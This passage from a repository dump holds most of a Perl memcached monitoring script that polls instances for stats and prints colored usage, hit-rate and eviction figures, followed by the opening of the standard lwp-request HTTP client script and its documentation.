= 0; 196 | } 197 | 198 | my $count = 0; 199 | 200 | foreach my $instance (@instances) { 201 | 202 | my ($port, $server); 203 | 204 | my @split = split(/:/,$instance); 205 | unless ( $split[1] ) { 206 | $instance = $instance . ":" . $default_port; 207 | $port = $default_port; 208 | } 209 | else { 210 | $port = $split[1]; 211 | } 212 | 213 | # Some exhaustive (exhausting?) logic to determine the ideal text to push @out,for 214 | # the server name. 215 | if ( length($instance) > 22 ) { 216 | if ( $port ne $default_port ) { 217 | $server = substr($split[0],0,17) . ":" . $port; 218 | } 219 | else { 220 | if ( length($split[0]) < 18 ) { 221 | $server = $instance; 222 | } 223 | else { 224 | $server = substr($split[0],0,23); 225 | } 226 | } 227 | } 228 | elsif ( length($instance) < 8 ) { 229 | $server = "$instance\t\t"; 230 | } 231 | elsif ( length($instance) < 16 ) { 232 | $server = "$instance\t"; 233 | } 234 | else { 235 | $server = $instance; 236 | } 237 | 238 | my $t0 = time(); 239 | 240 | $remote = IO::Socket::INET->new($instance); 241 | unless ( defined($remote) ) { 242 | push @out,color 'red' if $usecolor; 243 | push @out,$instance . " is DOWN.\n"; 244 | $count++; 245 | push @out,color 'reset' if $usecolor; 246 | next; 247 | } 248 | 249 | $remote->autoflush(1); 250 | $count++; 251 | 252 | print $remote "stats\n"; 253 | 254 | my (%stats, %outstats); 255 | 256 | foreach my $key (@keys) { 257 | $outstats{$key} = 0; 258 | } 259 | 260 | LINE: while ( defined ( my $line = <$remote> ) ) { 261 | last LINE if ( $line =~ /END/ ); 262 | chomp $line; 263 | my @bits = split(' ',$line); 264 | $stats{$bits[1]} = $bits[2]; 265 | next LINE; 266 | } 267 | 268 | close $remote; 269 | 270 | my $t1 = time(); 271 | $outstats{time} = ($t1 - $t0) * 1000; 272 | 273 | if ( $lifetime || $cumulative) { 274 | foreach my $key ('cmd_get', 'cmd_set', 'get_hits', 'get_misses', 'evictions', 'bytes_read', 'bytes_written') { 275 | if ( $cumulative ) { 276 | if ( $i == 1 ) { 277 | $original{$instance}{$key} = $stats{$key}; 278 | } else { 279 | $outstats{$key} = $stats{$key} - $original{$instance}{$key}; 280 | } 281 | } else { 282 | $outstats{$key} = $stats{$key}; 283 | } 284 | } 285 | $outstats{cache_hit} = ( $stats{get_hits} / $stats{cmd_get} ) * 100; 286 | } else { 287 | foreach my $key ('cmd_get', 'cmd_set', 'get_hits', 'get_misses', 'evictions', 'bytes_read', 'bytes_written') { 288 | if ( defined ( $laststats{$instance}{$key} ) ) { 289 | $outstats{$key} = ($stats{$key} - $laststats{$instance}{$key}) / $sleep; 290 | } 291 | } 292 | $outstats{cache_hit} = 0; 293 | if ( defined($outstats{get_misses}) && $outstats{get_misses} > 0 ) { 294 | $outstats{cache_hit} = ( $laststats{$instance}{get_hits} / $laststats{$instance}{cmd_get} ) * 100; 295 | } 296 | } 297 | 298 | $outstats{limit_maxbytes} = $stats{limit_maxbytes}; 299 | $outstats{bytes} = $stats{bytes}; 300 | $outstats{usage} = ( $stats{bytes} / $stats{limit_maxbytes} * 100 ); 301 | $outstats{curr_connections} = $stats{curr_connections}; 302 | 303 | if ( $cumulative ) { 304 | foreach my $key ('cmd_get', 'cmd_set', 'get_hits', 'get_misses', 'evictions', 'bytes_read', 'bytes_written') { 305 | $threshold{$key} = $threshold{$key} * $i if $threshold{$key}; 306 | } 307 | } 308 | 309 | push @out,"$server\t"; 310 | threshold_print( $outstats{usage}, $threshold{usage}, 1, 0, '%', '%.1f'); 311 | threshold_print( $outstats{cache_hit}, $threshold{cache_hit}, 0, 0, '%', '%.1f'); 312 | threshold_print( $outstats{curr_connections}, $threshold{curr_connections}, 1, 0, '', '%.0d'); 313 | if ( $outstats{time} >= 1000 ) { 314 | threshold_print( $outstats{time}/1000, $threshold{time}/1000, 1, 0, 's', '%.2f'); 315 | } else { 316 | threshold_print( $outstats{time}, $threshold{time}, 1, 0, 'ms', '%.1f'); 317 | } 318 | threshold_print( $outstats{evictions}, $threshold{evictions}, 1, 0, '', '%.1f'); 319 | if ( $commands ) { 320 | threshold_print( $outstats{cmd_get}, $threshold{cmd_get}, 1, 0, '', '%.0f'); 321 | threshold_print( $outstats{cmd_set}, $threshold{cmd_set}, 1, 0, '', '%.0f'); 322 | } 323 | if ( $bytes ) { 324 | threshold_print( $outstats{bytes_read}, $threshold{bytes_read}, 1, 0, '', '%.0f'); 325 | threshold_print( $outstats{bytes_written}, $threshold{bytes_written}, 1, 0, '', '%.0f'); 326 | } 327 | push @out,"\n"; 328 | 329 | foreach my $key (@keys) { 330 | $tot{$key} = $tot{$key} + $outstats{$key}; 331 | } 332 | 333 | unless ( $lifetime || $cumulative ) { 334 | foreach my $key ('cmd_get', 'cmd_set', 'get_hits', 'get_misses', 'evictions', 'bytes_read', 'bytes_written') { 335 | $laststats{$instance}{$key} = $stats{$key}; 336 | } 337 | } 338 | 339 | } 340 | 341 | push @out,color 'bold' if $usecolor; 342 | push @out,"\nAVERAGE:\t\t"; 343 | threshold_print( $tot{usage}/$count, $threshold{usage}, 1, 1, '%', '%.1f'); 344 | threshold_print( $tot{cache_hit}/$count, $threshold{cache_hit}, 0, 1, '%', '%.1f'); 345 | threshold_print( $tot{curr_connections}/$count, $threshold{curr_connections}, 1, 1, '', '%.0d'); 346 | if ( ( $tot{time}/$count ) >= 1000 ) { 347 | threshold_print( ($tot{time}/$count)/1000, $threshold{time}/1000, 1, 1, 's', '%.2f'); 348 | } else { 349 | threshold_print( $tot{time}/$count, $threshold{time}, 1, 1, 'ms', '%.1f'); 350 | } 351 | threshold_print( $tot{evictions}/$count, $threshold{evictions}, 1, 1, '', '%.1f'); 352 | if ( $commands ) { 353 | threshold_print( $tot{cmd_get}/$count, $threshold{cmd_get}, 1, 1, '', '%.0f'); 354 | threshold_print( $tot{cmd_set}/$count, $threshold{cmd_set}, 1, 1, '', '%.0f'); 355 | } 356 | if ( $bytes ) { 357 | threshold_print( $tot{bytes_read}/$count, $threshold{bytes_read}, 1, 1, '', '%.0f'); 358 | threshold_print( $tot{bytes_written}/$count, $threshold{bytes_written}, 1, 1, '', '%.0f'); 359 | } 360 | push @out,"\n"; 361 | push @out,"\nTOTAL:\t\t"; 362 | threshold_print( $tot{bytes}, $threshold{bytes}, 0, 1, 'B/', '%.0f'); 363 | threshold_print( $tot{limit_maxbytes}, $threshold{limit_maxbytes}, 0, 1, "B\t", '%.0f'); 364 | threshold_print( $tot{curr_connections}, $threshold{curr_connections}*$count, 1, 1, '', '%.0d'); 365 | if ( $tot{time} >= 1000 ) { 366 | threshold_print( $tot{time}/1000, ($threshold{time}*$count)/1000, 1, 1, 's', '%.2f'); 367 | } else { 368 | threshold_print( $tot{time}, $threshold{time}*$count, 1, 1, 'ms', '%.1f'); 369 | } 370 | threshold_print( $tot{evictions}, $threshold{evictions}*$count, 1, 1, '', '%.1f'); 371 | if ( $commands ) { 372 | threshold_print( $tot{cmd_get}, $threshold{cmd_get}*$count, 1, 1, '', '%.0f'); 373 | threshold_print( $tot{cmd_set}, $threshold{cmd_set}*$count, 1, 1, '', '%.0f'); 374 | } 375 | if ( $bytes ) { 376 | threshold_print( $tot{bytes_read}, $threshold{bytes_read}*$count, 1, 1, '', '%.0f'); 377 | threshold_print( $tot{bytes_written}, $threshold{bytes_written}*$count, 1, 1, '', '%.0f'); 378 | } 379 | push @out,color 'reset' if $usecolor; 380 | push @out,"\n(ctrl-c to quit.)\n"; 381 | sleep($sleep); 382 | 383 | print @out; 384 | $i++; 385 | } 386 | 387 | ################################################################################ 388 | # threshold_print 389 | # takes two variables, compares them (greater then if $gt == 1), and then prints 390 | # it. It uses red as the default color for successful comparisons, but sets 391 | # it to red bold if $bold == 1. $trail specifies trailing characters to print. 392 | # $sprintf lets you specify the format for sprintf(). 393 | # 394 | sub threshold_print { 395 | 396 | my ($stat, $threshold, $gt, $bold, $trail, $sprintf) = @_; 397 | 398 | my $color = 'red'; 399 | my $offcolor = 'reset'; 400 | if ( $bold ) { 401 | $color = 'bold red'; 402 | $offcolor = 'reset bold'; 403 | } 404 | 405 | if ( $gt ) { 406 | if ( $stat > $threshold ) { 407 | push @out, color $color if $usecolor; 408 | } 409 | } else { 410 | if ( $stat < $threshold ) { 411 | push @out, color $color if $usecolor; 412 | } 413 | } 414 | 415 | if ( $stat > 999999999999 ) { 416 | $stat = $stat / (1024*1024*1024*1024); 417 | $trail = 'T' . $trail; 418 | $sprintf = '%.1f'; 419 | } elsif ( $stat > 99999999 ) { 420 | $stat = $stat / (1024*1024*1024); 421 | $trail = "G" . $trail; 422 | $sprintf = '%.1f'; 423 | } elsif ( $stat > 999999 ) { 424 | $stat = $stat / (1024*1024); 425 | $trail = 'M' . $trail; 426 | $sprintf = '%.1f'; 427 | } elsif ( $stat > 9999 ) { 428 | $stat = $stat/1024; 429 | $trail = 'K' . $trail; 430 | $sprintf = '%.1f'; 431 | } 432 | 433 | push @out,sprintf($sprintf,$stat) . $trail; 434 | push @out,color $offcolor if $usecolor; 435 | push @out,"\t"; 436 | } 437 | ################################################################################ 438 | -------------------------------------------------------------------------------- /POST: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl -w 2 | 3 | eval 'exec /usr/bin/perl -w -S $0 ${1+"$@"}' 4 | if 0; # not running under some shell 5 | 6 | # $Id: lwp-request,v 2.7 2005/12/06 12:16:28 gisle Exp $ 7 | # 8 | # Simple user agent using LWP library. 9 | 10 | =head1 NAME 11 | 12 | lwp-request - Simple command line user agent 13 | 14 | =head1 SYNOPSIS 15 | 16 | lwp-request [-aeEdvhx] [-m method] [-b ] [-t ] 17 | [-i ] [-c ] [-C ] 18 | [-p ] [-o ] ... 19 | 20 | =head1 DESCRIPTION 21 | 22 | This program can be used to send requests to WWW servers and your 23 | local file system. The request content for POST and PUT 24 | methods is read from stdin. The content of the response is printed on 25 | stdout. Error messages are printed on stderr. The program returns a 26 | status value indicating the number of URLs that failed. 27 | 28 | The options are: 29 | 30 | =over 4 31 | 32 | =item -m 33 | 34 | Set which method to use for the request. If this option is not used, 35 | then the method is derived from the name of the program. 36 | 37 | =item -f 38 | 39 | Force request through, even if the program believes that the method is 40 | illegal. The server might reject the request eventually. 41 | 42 | =item -b 43 | 44 | This URI will be used as the base URI for resolving all relative URIs 45 | given as argument. 46 | 47 | =item -t 48 | 49 | Set the timeout value for the requests. The timeout is the amount of 50 | time that the program will wait for a response from the remote server 51 | before it fails. The default unit for the timeout value is seconds. 52 | You might append "m" or "h" to the timeout value to make it minutes or 53 | hours, respectively. The default timeout is '3m', i.e. 3 minutes. 54 | 55 | =item -i